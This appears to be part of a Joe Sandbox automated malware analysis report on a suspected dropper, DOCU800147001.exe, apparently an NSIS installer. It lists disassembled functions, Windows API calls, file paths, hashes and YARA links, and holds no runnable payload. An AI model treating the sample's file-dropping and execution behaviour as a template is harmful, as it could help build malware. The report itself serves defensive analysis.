Part of subcall function 00405DE5: CharNextA.USER32(?,?,?,00000000), ref: 00405E4A
Part of subcall function 00405DE5: CharNextA.USER32(?,"C:\Users\user\Desktop\DOCU800147001.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,76233410,0040327D), ref: 00405E4F
Part of subcall function 00405DE5: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,76233410,0040327D), ref: 00405E5F

GetDiskFreeSpaceA.KERNEL32(0079D4C8,?,?,0000040F,?,0079D4C8,0079D4C8,?,00000000,0079D4C8,?,?,000003FB,?), ref: 004044E6
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404501
SetDlgItemTextA.USER32(00000000,00000400,0079D4B8), ref: 00404587

Strings

: Completed, xrefs: 00404407, 0040440C, 00404417
C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne, xrefs: 004043F6
A, xrefs: 004043C9
error, xrefs: 004042BF

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: : Completed$A$C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne$error
API String ID: 2246997448-1626101678
Opcode ID: df3f8edb76b45bef1d3ab0cccb4a8e8134c01e7c5039b5caa234b4fd6d8aa4b9
Instruction ID: ee484549d64efd2eff965cea5eda3c12ecb716279ba3017c649c9a7946b17b4b
Opcode Fuzzy Hash: df3f8edb76b45bef1d3ab0cccb4a8e8134c01e7c5039b5caa234b4fd6d8aa4b9
Instruction Fuzzy Hash: 3C9183B1900218BBDF11AFA1CC41AAF77B8EF84315F54847BFA05B62D1C77C9A418B69

Function 00402036 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040208C
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00407374,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402145

Strings

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds, xrefs: 004020C6

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds
API String ID: 123533781-2159730412
Opcode ID: e9c06b8639afc3ce6fbc241da707627943b35e80e64f2af56ff9b0831500eeae
Instruction ID: 5157e5bb901614104f2663cb9119d9abf172b2b834e28e211f1a5824c3cc141a
Opcode Fuzzy Hash: e9c06b8639afc3ce6fbc241da707627943b35e80e64f2af56ff9b0831500eeae
Instruction Fuzzy Hash: 90416AB5A00205BFCB00DFA4CD88E9D7BB6AF88314F204169F905FB2E5CA79D941DB54

Function 00402647 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 00402656

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 1f8b5703c19848bb5ebaba8291271e5e1171c225000ecf0a90b9af1573a488d8
Instruction ID: 9954a9e90a4ff8e1476aca16375cd89b929f17a4c0bf373ce54cb0035b2a7fc8
Opcode Fuzzy Hash: 1f8b5703c19848bb5ebaba8291271e5e1171c225000ecf0a90b9af1573a488d8
Instruction Fuzzy Hash: 4AF0A0725041509AD700E7A49D49AFEB368DB12324F2046BBE101B20C1D2B85942AB2E

Function 00403FB1 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 0040403C
GetDlgItem.USER32(00000000,000003E8), ref: 00404050
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 0040406E
GetSysColor.USER32(?), ref: 0040407F
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 0040408E
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 0040409D
lstrlenA.KERNEL32(?), ref: 004040A0
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 004040AF
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 004040C4
GetDlgItem.USER32(?,0000040A), ref: 00404126
SendMessageA.USER32(00000000), ref: 00404129
GetDlgItem.USER32(?,000003E8), ref: 00404154
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404194
LoadCursorA.USER32(00000000,00007F02), ref: 004041A3
SetCursor.USER32(00000000), ref: 004041AC
ShellExecuteA.SHELL32(0000070B,open,007A0EA0,00000000,00000000,00000001), ref: 004041BF
LoadCursorA.USER32(00000000,00007F00), ref: 004041CC
SetCursor.USER32(00000000), ref: 004041CF
SendMessageA.USER32(00000111,00000001,00000000), ref: 004041FB
SendMessageA.USER32(00000010,00000000,00000000), ref: 0040420F

Strings

N, xrefs: 00404142
: Completed, xrefs: 0040417F
open, xrefs: 004041B7
|?@, xrefs: 004041B4

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: : Completed$N$open$|?@
API String ID: 3615053054-3247948670
Opcode ID: fee43ce551ef0b03fa8414572cca722d93e17a607ba525d10f69864d1f38e249
Instruction ID: 1aa85ca6dc080267a903cc48d2afa20b9f684c9b7acc4f3344bac945280a7f58
Opcode Fuzzy Hash: fee43ce551ef0b03fa8414572cca722d93e17a607ba525d10f69864d1f38e249
Instruction Fuzzy Hash: D061E5B1A40209BFEB109F20DD45F6A3B69FB44741F10856AFB04BA2D1C7B8E951CF99

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,?), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,Pantaloons Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

Pantaloons Setup, xrefs: 00401150
F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Pantaloons Setup
API String ID: 941294808-4150938233
Opcode ID: e71fa4b7cd7db18ec6937c90ef8ef03dc97b1c494a2d0299c5982f2cadabd8f1
Instruction ID: 1970eda38267bcdb885ac0a700297f93df6a90a6824bbd846fa9b4042a90093d
Opcode Fuzzy Hash: e71fa4b7cd7db18ec6937c90ef8ef03dc97b1c494a2d0299c5982f2cadabd8f1
Instruction Fuzzy Hash: DE419A71804249AFCB058F95CD459BFBFB9FF45311F00812AF962AA1A0C738EA50DFA5

Function 004058B2 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(007A0288,NUL,?,00000000,?,00000000,?,00405A56,?,?,00000001,004055F9,?,00000000,000000F1,?), ref: 004058C2
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,?,00405A56,?,?,00000001,004055F9,?,00000000,000000F1,?), ref: 004058E6
GetShortPathNameA.KERNEL32(00000000,007A0288,00000400), ref: 004058EF

Part of subcall function 00405770: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040599F,00000000,[Rename],00000000,00000000,00000000), ref: 00405780
Part of subcall function 00405770: lstrlenA.KERNEL32(0040599F,?,00000000,0040599F,00000000,[Rename],00000000,00000000,00000000), ref: 004057B2

GetShortPathNameA.KERNEL32(?,007A0688,00000400), ref: 0040590C
wsprintfA.USER32 ref: 0040592A
GetFileSize.KERNEL32(00000000,00000000,007A0688,C0000000,00000004,007A0688,?,?,?,?,?), ref: 00405965
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405974
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 004059AC
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,0079FE88,00000000,-0000000A,0040936C,00000000,[Rename],00000000,00000000,00000000), ref: 00405A02
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405A14
GlobalFree.KERNEL32(00000000), ref: 00405A1B
CloseHandle.KERNEL32(00000000), ref: 00405A22

Part of subcall function 0040580B: GetFileAttributesA.KERNELBASE(00000003,00402C6B,C:\Users\user\Desktop\DOCU800147001.exe,80000000,00000003), ref: 0040580F
Part of subcall function 0040580B: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405831

Strings

%s=%s, xrefs: 00405920
NUL, xrefs: 004058BC
[Rename], xrefs: 00405994, 004059A6

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 1265525490-4148678300
Opcode ID: 984f1eafc83599743fab0d905d1acbbcb7f88393829daf581cda5b9499d27641
Instruction ID: eaebdebf8796e3850c000fe6eb76ad3f7fb5957efc68c2b36b1b91be42a79c1d
Opcode Fuzzy Hash: 984f1eafc83599743fab0d905d1acbbcb7f88393829daf581cda5b9499d27641
Instruction Fuzzy Hash: 6A410271604B09BFD6206B656C8AF6B3A9CDF45755F14063AFE01F22D2DA7CA8008E7D

Function 00405DE5 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\DOCU800147001.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,76233410,0040327D), ref: 00405E3D
CharNextA.USER32(?,?,?,00000000), ref: 00405E4A
CharNextA.USER32(?,"C:\Users\user\Desktop\DOCU800147001.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,76233410,0040327D), ref: 00405E4F
CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,76233410,0040327D), ref: 00405E5F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405DE6, 00405DEB
"C:\Users\user\Desktop\DOCU800147001.exe", xrefs: 00405E21
*?|<>/":, xrefs: 00405E2D

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\DOCU800147001.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2437539202
Opcode ID: 23e10a89c186aeb9d4ae81216154e90e4a11c9f17e12c8179a136c01dc061f6b
Instruction ID: 98207d01bde9e00a0eed0430611c531f9d380fb7e7b936b50ef7ef360768d6c7
Opcode Fuzzy Hash: 23e10a89c186aeb9d4ae81216154e90e4a11c9f17e12c8179a136c01dc061f6b
Instruction Fuzzy Hash: A6110871804B9429F73217248C40B777F98CB56760F18047BE5D5722C2C67C5E828EED

Function 00403ECF Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403EEC
GetSysColor.USER32(00000000), ref: 00403F08
SetTextColor.GDI32(?,00000000), ref: 00403F14
SetBkMode.GDI32(?,?), ref: 00403F20
GetSysColor.USER32(?), ref: 00403F33
SetBkColor.GDI32(?,?), ref: 00403F43
DeleteObject.GDI32(?), ref: 00403F5D
CreateBrushIndirect.GDI32(?), ref: 00403F67

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction ID: bef5c4da8a9fddcda3e14ba796976a45e550bdb17cacbe877f2265ea57743fc9
Opcode Fuzzy Hash: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction Fuzzy Hash: 47218471904745ABCB219F68DD48F4BBFF8AF01715B048529F896E22E1D738EA04CB55

Function 00402685 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00029400,00000000,40000000,00000002,00000000,00000000), ref: 004026D9
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004026F5
GlobalFree.KERNEL32(?), ref: 0040272E
WriteFile.KERNEL32(?,00000000,?,?), ref: 00402740
GlobalFree.KERNEL32(00000000), ref: 00402747
CloseHandle.KERNEL32(?), ref: 0040275F
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402773

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: b20fe8ae616d53666235b5b03e89020effb2b3d8f0f2408822ca5bbbdc11b4e4
Instruction ID: d2462f277a9bbeab74e05a3ba9edc35ed5f42c1e2e96cac32811c1f7214cd279
Opcode Fuzzy Hash: b20fe8ae616d53666235b5b03e89020effb2b3d8f0f2408822ca5bbbdc11b4e4
Instruction Fuzzy Hash: 47319C71C00128BBDF216FA9DD89DAE7A79EF08364F10422AF520772E0C7795C419FA9

Function 00404730 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 0040474B
GetMessagePos.USER32 ref: 00404753
ScreenToClient.USER32(?,?), ref: 0040476D
SendMessageA.USER32(?,00001111,00000000,?), ref: 0040477F
SendMessageA.USER32(?,0000110C,00000000,?), ref: 004047A5

Strings

f, xrefs: 00404781

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction ID: ad1af3c478a57eda8923b13f4794356c9ed70ebf35a35ad09a5ca660a75b0f14
Opcode Fuzzy Hash: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction Fuzzy Hash: 16015275D40218BADB01DBA4DC45FFEBBBCAF55711F10412BBA10B72C0C7B465018BA5

Function 00402B44 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B5F
MulDiv.KERNEL32(000EADF8,00000064,000EB520), ref: 00402B8A
wsprintfA.USER32 ref: 00402B9A
SetWindowTextA.USER32(?,?), ref: 00402BAA
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BBC

Strings

verifying installer: %d%%, xrefs: 00402B94

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

